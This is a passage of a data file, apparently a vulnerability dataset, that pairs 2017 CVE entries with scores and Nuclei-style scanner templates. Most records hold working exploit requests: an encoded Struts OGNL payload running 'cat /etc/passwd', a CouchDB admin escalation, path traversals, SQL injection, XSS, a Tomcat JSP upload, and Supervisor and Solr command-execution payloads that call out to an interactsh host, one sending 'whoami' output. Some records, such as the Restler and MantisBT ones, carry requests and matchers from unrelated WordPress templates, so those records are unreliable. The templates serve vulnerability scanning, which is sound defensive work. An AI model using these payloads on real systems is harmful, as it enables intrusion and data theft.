'name=%25%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%23%71%29%7d&age=10&__checkbox_bustedBefore=true&description=\\n', 'path': ['{{BaseURL}}/integration/saveGangster.action'], 'matchers-condition': 'and', 'method': 'POST'}]"], ["CVE-2017-12635", "Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.", 31, [], 9.8, " cpe:2.3:a:apache:couchdb", "[{'matchers': [{'words': ['application/json', 'Location:'], 'type': 'word', 'part': 'header'}, {'words': ['org.couchdb.user:poc', 'conflict', 'Document update conflict'], 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [201, 409]}], 'raw': ['PUT /_users/org.couchdb.user:poc HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\\nAccept: application/json\\nConnection: close\\nUpgrade-Insecure-Requests: 1\\nContent-Length: 108\\n\\n{\\n \"type\": \"user\",\\n \"name\": \"poc\",\\n \"roles\": [\"_admin\"],\\n \"roles\": [],\\n \"password\": \"123456\"\\n}\\n'], 'matchers-condition': 'and'}]"], ["CVE-2017-18566", "The user-role plugin before 1.5.6 for WordPress has multiple XSS issues.\n", 2057, [], 6.1, " cpe:2.3:a:bestwebsoft:user role", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"User Role by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/user-role/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-9416", "Odoo 8.0, 9.0, and 10.0 are susceptible to local file inclusion via tools.file_open. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n", 1572, [], 6.5, " cpe:2.3:a:odoo:odoo:8.0", "[{'path': ['{{BaseURL}}/base_import/static/c:/windows/win.ini', '{{BaseURL}}/base_import/static/etc/passwd'], 'matchers': [{'type': 'dsl', 'dsl': [\"regex('root:.*:0:0:', body)\", 'status_code == 200'], 'condition': 'and'}, {'type': 'dsl', 'dsl': [\"contains(body, 'bit app support')\", \"contains(body, 'fonts')\", \"contains(body, 'extensions')\", 'status_code == 200'], 'condition': 'and'}], 'stop-at-first-match': True, 'matchers-condition': 'or', 'method': 'GET'}]"], ["CVE-2017-18500", "The social-buttons-pack plugin before 1.1.1 for WordPress has multiple XSS issues.\n", 2081, [], 6.1, " cpe:2.3:a:bestwebsoft:social buttons pack", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Social Buttons Pack by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/social-buttons-pack/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-18557", "The bws-google-maps plugin before 1.3.6 for WordPress has multiple XSS issues.\n", 2063, [], 6.1, " cpe:2.3:a:bestwebsoft:google maps", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Google Maps by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/bws-google-maps/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-11610", "The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisord namespace lookups.", 888, [], 8.8, " cpe:2.3:a:supervisord:supervisor", "[{'matchers': [{'type': 'word', 'words': ['http'], 'part': 'interactsh_protocol', 'name': 'http'}], 'raw': ['POST /RPC2 HTTP/1.1\\nHost: {{Hostname}}\\nAccept: text/xml\\nContent-type: text/xml\\nConnection: close\\nUpgrade-Insecure-Requests: 1\\nContent-Length:\\n\\n\\n supervisor.supervisord.options.warnings.linecache.os.system\\n \\n \\n wget http://{{interactsh-url}}\\n \\n \\n\\n']}]"], ["CVE-2017-18598", "The Qards plugin through 2017-10-11 for WordPress has XSS via a remote document specified in the url parameter to html2canvasproxy.php", 1041, [], 6.1, " cpe:2.3:a:designmodo:qards", "[{'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}'], 'matchers': [{'words': ['http'], 'type': 'word', 'part': 'interactsh_protocol'}, {'words': ['console.log'], 'type': 'word', 'part': 'body'}]}]"], ["CVE-2017-12149", "In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data.", 306, [], 9.8, " cpe:2.3:a:redhat:jboss enterprise application platform:5.0.0", "[{'raw': ['POST /invoker/JMXInvokerServlet/ HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/octet-stream\\n\\n{{ base64_decode(\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==\") }}\\n', 'POST /invoker/EJBInvokerServlet/ HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/octet-stream\\n\\n{{ base64_decode(\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==\") }}\\n'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'part': 'body', 'words': ['ClassCastException']}, {'type': 'word', 'part': 'header', 'words': ['application/x-java-serialized-object']}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-15363", "Directory traversal vulnerability in public/examples/resources/getsource.php in Luracast Restler through 3.0.0, as used in the restler extension before 1.7.1 for TYPO3, allows remote attackers to read arbitrary files via the file parameter.", 875, [], 7.5, " cpe:2.3:a:luracast:restler:0.3.1", "[{'method': 'GET', 'path': ['{{BaseURL}}/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php'], 'matchers': [{'words': ['\\\\\">All\")', 'contains(body_3, \"Contact Form to DB by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/contact-form-to-db/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-9288", "The Raygun4WP plugin 1.8.0 for WordPress is vulnerable to a reflected XSS in sendtesterror.php (backurl parameter).", 434, [], 6.1, " cpe:2.3:a:raygun:raygun4wp:1.8.0", "[{'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/raygun4wp/sendtesterror.php?backurl=%22%3E%3Cimg%20src%3Dx%20onerror%3D%28123%29%3E'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-18490", "The contact-form-multi plugin before 1.2.1 for WordPress has multiple XSS issues.\n", 2069, [], 6.1, " cpe:2.3:a:bestwebsoft:contact form multi", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Contact Form Multi by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/contact-form-multi/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-5487", "wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API implementation in WordPress 4.7 before 4.7.1 does not properly restrict listings of post authors, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.", 339, [], 5.3, " cpe:2.3:a:wordpress:wordpress", "[{'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'type': 'status', 'status': [200]}, {'type': 'word', 'condition': 'and', 'words': ['\"id\":', '\"name\":', '\"avatar_urls\":']}], 'path': ['{{BaseURL}}/wp-json/wp/v2/users/', '{{BaseURL}}/?rest_route=/wp/v2/users/']}]"], ["CVE-2017-10075", "The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.", 48, [], 8.2, " cpe:2.3:a:oracle:webcenter content:11.1.1.9.0", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': [''], 'type': 'word', 'part': 'body'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3E(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO', '{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3E(31337)%3C%2Fscript%3E']}]"], ["CVE-2017-18529", "The promobar plugin before 1.1.1 for WordPress has multiple XSS issues.\n", 2077, [], 6.1, " cpe:2.3:a:bestwebsoft:promobar", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"PromoBar by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/promobar/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-18516", "The bws-linkedin plugin before 1.0.5 for WordPress has multiple XSS issues.\n", 2059, [], 6.1, " cpe:2.3:a:bestwebsoft:linkedin", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"LinkedIn by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/bws-linkedin/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-1000028", "Oracle, GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated Directory Traversal vulnerability, that can be exploited by issuing a specially crafted HTTP GET request.", 38, [], 7.5, " cpe:2.3:a:oracle:glassfish server:4.1", "[{'method': 'GET', 'matchers': [{'words': ['/sbin/nologin'], 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd']}]"], ["CVE-2017-17731", "DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.\n", 1574, [], 9.8, " cpe:2.3:a:dedecms:dedecms", "[{'path': ['{{BaseURL}}/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\\\%27%20or%20mid=@`\\\\%27`%20/*!50000union*//*!50000select*/1,2,3,md5({{num}}),5,6,7,8,9%23@`\\\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294'], 'matchers': [{'part': 'body', 'type': 'word', 'words': ['{{md5({{num}})}}']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2017-18487", "The adsense-plugin (aka Google AdSense) plugin before 1.44 for WordPress has multiple XSS issues.\n", 2056, [], 6.1, " cpe:2.3:a:google adsense project:google adsense", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Google AdSense\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/adsense-plugin/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-7615", "MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.", 46, [], 8.8, " cpe:2.3:a:mantisbt:mantisbt", "[{'method': 'GET', 'matchers': [{'words': ['\\\\\">All\")', 'contains(body_3, \"Social Login by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/social-login-bws/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-1000163", "Phoenix Framework versions 1.0.0 through 1.0.4, 1.1.0 through 1.1.6, 1.2.0, 1.2.2 and 1.3.0-rc.0 contain an open redirect vulnerability, which may result in phishing or social engineering attacks.", 1575, [], 6.1, " cpe:2.3:a:phoenixframework:phoenix:1.0.0", "[{'path': ['{{BaseURL}}/?redirect=/\\\\interact.sh'], 'matchers': [{'part': 'header', 'type': 'regex', 'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\\\-_]*\\\\.)?interact\\\\.sh(?:\\\\s*?)$']}], 'method': 'GET'}]"], ["CVE-2017-14537", "trixbox 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php.", 35, [], 6.5, " cpe:2.3:a:netfortris:trixbox:2.8.0.4", "[{'matchers': [{'type': 'status', 'status': [200]}, {'type': 'regex', 'regex': ['root:[x*]:0:0:'], 'part': 'body'}], 'raw': ['POST /maint/index.php?packages HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\nAccept-Language: en-US,en;q=0.5\\nContent-Type: application/x-www-form-urlencoded\\nReferer: {{Hostname}}/maint/index.php?packages\\nContent-Length: 160\\nCookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2\\nAuthorization: Basic bWFpbnQ6cGFzc3dvcmQ=\\nConnection: keep-alive\\n\\nxajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages\\n', 'GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\nAccept-Language: en-US,en;q=0.5\\nReferer: {{Hostname}}/maint/index.php?packages\\nCookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2\\nAuthorization: Basic bWFpbnQ6cGFzc3dvcmQ=\\nConnection: keep-alive\\nUpgrade-Insecure-Requests: 1\\n'], 'matchers-condition': 'and'}]"], ["CVE-2017-14849", "Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to \"..\" handling was incompatible with the pathname validation used by unspecified community modules.", 45, [], 7.5, " cpe:2.3:a:nodejs:node.js:8.5.0", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'type': 'regex', 'regex': ['root:[x*]:0:0:'], 'part': 'body'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/static/../../../a/../../../../etc/passwd']}]"], ["CVE-2017-17059", "XSS exists in the amtyThumb amty-thumb-recent-post (aka amtyThumb posts or wp-thumb-post) plugin 8.1.3 for WordPress via the query string to amtyThumbPostsAdminPg.php.", 432, [], 6.1, " cpe:2.3:a:amtythumb project:amtythumb", "[{'method': 'POST', 'body': 'amty_hidden=1', 'path': ['{{BaseURL}}/wp-content/plugins/amty-thumb-recent-post/amtyThumbPostsAdminPg.php?%22%3E%3Cscript%3E%28123%29%3C%2Fscript%3E=1'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-0929", "DNN (aka DotNetNuke) before 9.2.0 suffers from a Server-Side Request Forgery (SSRF) vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.", 853, [], 7.5, " cpe:2.3:a:dnnsoftware:dotnetnuke", "[{'path': ['{{BaseURL}}/DnnImageHandler.ashx?mode=file&url=http://{{interactsh-url}}'], 'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'part': 'interactsh_protocol', 'type': 'word', 'words': ['http']}, {'type': 'status', 'status': [500]}]}]"], ["CVE-2017-8229", "Amcrest IPM-721S V2.420.AC00.16.R.20160909 devices allow an unauthenticated attacker to download the administrative credentials.\n", 2002, [], 9.8, " cpe:2.3:o:amcrest:ipm-721s firmware", "[{'method': 'GET', 'matchers': [{'condition': 'and', 'type': 'word', 'part': 'body', 'words': ['DevInformation', 'SerialID']}, {'type': 'word', 'part': 'header', 'words': ['application/octet-stream']}, {'type': 'status', 'status': [200]}], 'path': ['{{BaseURL}}/current_config/Sha1Account1'], 'matchers-condition': 'and'}]"], ["CVE-2017-11512", "The ManageEngine ServiceDesk 9.3.9328 is vulnerable to arbitrary file downloads due to improper restrictions of the pathname used in the name parameter for the download-snapshot URL. An unauthenticated remote attacker can use this vulnerability to download arbitrary files.\n", 1157, [], 7.5, " cpe:2.3:a:manageengine:servicedesk:9.3.9328", "[{'method': 'GET', 'path': ['{{BaseURL}}/fosagent/repl/download-file?basedir=4&filepath=..\\\\..\\\\Windows\\\\win.ini', '{{BaseURL}}/fosagent/repl/download-snapshot?name=..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini'], 'stop-at-first-match': True, 'matchers': [{'part': 'body', 'words': ['bit app support', 'fonts', 'extensions'], 'type': 'word', 'condition': 'and'}]}]"], ["CVE-2017-3506", "Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.", 28, [], 7.4, " cpe:2.3:a:oracle:weblogic server:10.3.6.0.0", "[{'matchers': [{'words': ['dns'], 'type': 'word', 'part': 'interactsh_protocol'}], 'raw': ['POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: text/xml\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,\\nContent-Type: text/xml;charset=UTF-8\\nContent-Length: 873\\n\\n\\n \\n \\n \\n \\n http://{{interactsh-url}}\\n \\n \\n \\n \\n \\n \\n \\n \\n\\n']}]"], ["CVE-2017-12617", "When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.\n", 1573, [], 8.1, " cpe:2.3:a:apache:tomcat:7.0.0", "[{'matchers': [{'part': 'body_2', 'type': 'word', 'words': ['CVE-2017-12617']}, {'type': 'status', 'status': [200]}], 'raw': ['PUT /{{randstr}}.jsp/ HTTP/1.1\\nHost: {{Hostname}}\\n\\n<% out.println(\"CVE-2017-12617\");%>\\n', 'GET /{{randstr}}.jsp HTTP/1.1\\nHost: {{Hostname}}\\n'], 'matchers-condition': 'and'}]"], ["CVE-2017-15287", "There is XSS in the BouquetEditor WebPlugin for Dream Multimedia Dreambox devices, as demonstrated by the \"Name des Bouquets\" field, or the file parameter to the /file URI.", 966, [], 6.1, " cpe:2.3:a:bouqueteditor project:bouqueteditor:2.0.0", "[{'raw': ['GET /webadmin/pkg?command= HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n'], 'matchers': [{'type': 'word', 'words': ['Unknown command: ']}]}]"], ["CVE-2017-1000170", "jqueryFileTree 2.1.5 and older Directory Traversal", 44, [], 7.5, " cpe:2.3:a:jqueryfiletree project:jqueryfiletree", "[{'method': 'POST', 'matchers': [{'words': [\"
\", \"passwd
\"], 'condition': 'and', 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}], 'path': ['{{BaseURL}}/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php'], 'matchers-condition': 'and', 'body': 'dir=%2Fetc%2F&onlyFiles=true'}]"], ["CVE-2017-18527", "The pagination plugin before 1.0.7 for WordPress has multiple XSS issues.\n", 2082, [], 6.1, " cpe:2.3:a:bestwebsoft:pagination", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Pagination by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/pagination/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-12629", "Apache Solr <= 7.1 Remote Code Execution via SSRF", 53, [], 9.8, " cpe:2.3:a:apache:solr:5.5.0", "[{'matchers': [{'words': ['dns'], 'type': 'word', 'part': 'interactsh_protocol'}], 'raw': ['GET /solr/select?qt=%2Fconfig%2523%26&shards=127.0.0.1:8984/solq&stream.body=%7B%22add-listener%22%3A%7B%22event%22%3A%22postCommit%22%2C%22name%22%3A%22nuclei%22%2C%22class%22%3A%22solr.RunExecutableListener%22%2C%22exe%22%3A%22sh%22%2C%22dir%22%3A%22%2Fbin%2F%22%2C%22args%22%3A%5B%22-c%22%2C%22%24%40%7Csh%22%2C%22.%22%2C%22echo%22%2C%22nslookup%22%2C%22%24%28whoami%29.{{interactsh-url}}%22%5D%7D%7D&wt=json&isShard=true&q=apple HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /solr/select?shards=127.0.0.1:8984/solr/update%23&commit=true HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-17451", "The WP Mailster plugin before 1.5.5 for WordPress has XSS in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.", 435, [], 6.1, " cpe:2.3:a:wpmailster:wp mailster", "[{'method': 'GET', 'path': 